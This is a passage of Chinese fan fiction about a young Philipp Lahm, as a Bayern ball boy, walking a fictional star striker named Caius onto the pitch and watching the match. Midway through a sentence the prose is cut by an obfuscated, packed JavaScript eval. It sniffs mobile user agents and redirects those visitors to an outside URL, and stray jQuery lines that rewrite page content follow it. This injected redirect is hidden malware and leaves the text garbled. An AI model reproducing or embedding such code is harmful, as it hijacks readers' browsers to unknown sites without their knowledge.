拉姆站在球员通道的入口处，双手不自觉攥着球童背心的下摆，指节泛出青白色。


    他低头看了一眼自己的衣服，然后又迅速抬起头，生怕错过什么。今天是他第一次在一线队比赛中担任球童。


    这个夏天，他的父亲以他必须担任一线队球童的要求，同意了拜仁希望他转入他们的青训营的邀请。


    矮小、瘦弱的拉姆并不是队里最有天赋的那个孩子，但因为训练课上表现得最守纪律，教练把第一个位置给了他。


    排在第一个，意味着等会儿要牵他的是凯厄斯。


    自1994年德国世界杯夺冠，拉姆就已经在电视上看过他无数次。这个年轻的前锋在那梦幻的一天俘获了不少德国人的心神。


    他的父亲就是其中一员，后来还专门买了他的录像带。拉姆反复跟着父亲看了太多遍，直到磁带开始出现雪花，他们又买了新的。


    球员通道里很吵。繁忙的工作人员跑来跑去，肩上扛着摄像机的转播记者挤来挤去。还有数不清的记者们在隔离带后面喊着不同的名字，闪光灯咔嚓咔嚓响成一片，照亮了通道里灰扑扑的混凝土墙面。


    拉姆抿了抿唇，不太习惯这种嘈杂。他往后退了半步，努力把自己缩得更小一点。


    漫长的等待了一会儿，身后才响起小小的欢呼声。几个年纪更小的球童在踮脚张望，拉姆下意识地跟着抬起头。


    一瞬间，纷乱的声音忽然都远了。隔了一层厚玻璃，嗡嗡的听不真切。


    拜仁年轻的国王从通道深处慢慢走了出来。他穿着红色的主场球衣，黑色的头发被通道顶灯照出一圈模糊的光晕。


    凯厄斯面无表情地往前走，灰眼睛目不斜视地盯着前方，像根本没有看见两边拥挤的人群，也没有听见那些此起彼伏喊着他名字的声音。


    拉姆缓慢而迟钝地眨了几下眼睛。忽然意识到自己已经在电视上见过这个人几千几万次，但没有一次让他准备好亲眼看见他。


    电视屏幕把一切都压扁磨平，变得冰冷没有温度。


    而现在，伊万恩·凯厄斯就站在他面前不到五步远的地方，比他想象的要高大得多，肩膀宽阔，下颌线清晰可见。


    拉姆沉默着偷偷观察青年起伏的鼻梁，然后他垂下了视线，盯着自己鞋尖。


    不受控制的心脏在胸腔里跳得又快又重，像有只困在笼子里的小兽在横冲直撞。


    一直等人在身边站定，拉姆才仰起头。


    青年要比他高出太多，拉姆把脖子仰到最大角度才能看清对方的脸。他露出属于孩子的腼腆微笑，一改往日的安静怕生，主动向人搭话。


    “你好，凯厄斯先生。我是菲利普·拉姆。”


    周围的声音依旧纷乱，拉姆的声音几乎被通道里的噪音吞没，但凯厄斯听见了。


    被他不起眼的声音吸引，英俊的青年垂下头颅，寡淡的灰眼睛落在他身上。目光很轻，像一片羽毛落在水面上。他看了拉姆两秒钟，轻轻“嗯”了一声，算作回应。


    声线比拉姆预想的要低，但没有电视里听起来那么冷。电视转播里他的声音总是带着一层薄冰似的距离感，可现在亲耳听到，他的声音其实很温和平静。


    这个念头在拉姆脑子里转了好几圈，最后被他小心翼翼地收起来。


    他们不再说话。凯厄斯的手自然地垂落在拉姆低垂的视线范围内。


    那双手骨节分明，手指修长，指甲修剪得整齐干净。拉姆试探性地抬手，迟疑了一下才握上去。先是虚虚地抓着指腹，感觉到对方皮肤下微凉的温度，慢慢才攀到指根附近。


    拉姆站在原地绷紧了脸上的表情，担心凯厄斯感觉到他的紧张。


    才这样担忧，握着的手就挣扎了起来。


    拉姆的手指立刻松开，准备退回安全的社交距离。一直沉默的青年抓住了他的退缩。那双苍白的手反过来握住了他，将他的手整个包在了掌心里。


    凯厄斯低头看了他一眼，灰眼睛里看不出有什么情绪。他转过头，握着拉姆的手带着他向前。


    拉姆被那只手牵着，脚步踉跄了一下，不得不迈着比平时更快的步子才能跟住凯厄斯的节奏。


    隧道出口的光线太强了，拉姆本能地眯了一下眼睛。等瞳孔适应了亮度，足以容纳七万五千人的奥林匹克球场一下印在他的瞳孔深处。


    那座巨大的椭圆形建筑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453730|200812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在午后的阳光下铺展开来，南看台的球迷正在抖落一面巨大的旗帜，红色与白色的色块在风中翻涌，像一片燃烧的业海。


    歌声从四面八方涌来，七万五千个声音汇成了同一首歌。拉姆被这声浪推得心头一震。


    那声音压在他的胸口上，让他几乎忘记了呼吸。他下意识地握紧了凯厄斯的手，正要道歉时，却感觉到凯厄斯的拇指在他手背上轻轻按了一下，带着安抚意味。


    …


    开赛后，球童们排成一排蹲在边线附近，拉姆蹲在最靠近角旗杆的位置，透过层层叠叠的人影，看着球场中央那个红色的12号。


    电视镜头总是跟着球走，凯厄斯在镜头里永远是一个移动的目标，被追逐，被框定，被限制在电视机四四方方的边框里。


    现在拉姆看见的是整个画面。他看清楚了凯厄斯在没有球的时候如何移动，如何用看似随意的跑动拉扯开整条防线。


    当他触球时，看台上七万五千个声音会同时拔高一个调。每个人在看见他动起来的那一刻都会不由自主地屏住呼吸，然后在他做出下一个动作时集体发出叹息或欢呼。


    有人在哭，有人在笑，有人跪在地上双手合十，有人把围巾举过头顶拼命挥舞。


    拉姆蹲在广告牌后面，攥着冰冷的金属栏杆，一眨不眨地注视着发生的这一切。


    当比赛终结的哨声响起，宏大的球场内瞬间响起失去理智、最接近本能的呐喊。


    拉姆感觉地面在震，广告牌在抖，他的耳膜被挤压得嗡嗡作响。


    他努力睁大眼睛看着人群中心的红影。明明那具身躯什么王冠都没有戴，没有金色的绶带，没有闪耀的宝石。


    七万五千人的球场，从高处看下去，二十二个人不过是散落在绿色画布上的彩色小点。在这庞大可怖的空间中，那具人类的身躯显得如此渺小。


    可他就站在那中间，以最放松的姿态迎着所有人，球衣被风吹得贴在身上，露出肩胛骨的轮廓。


    任何人只要将视线落在那副身躯上，就不会再有其他事物能夺走他们看向他的视线。


    南看台的人往下倾泻，像一道红色的瀑布涌向他们的国王。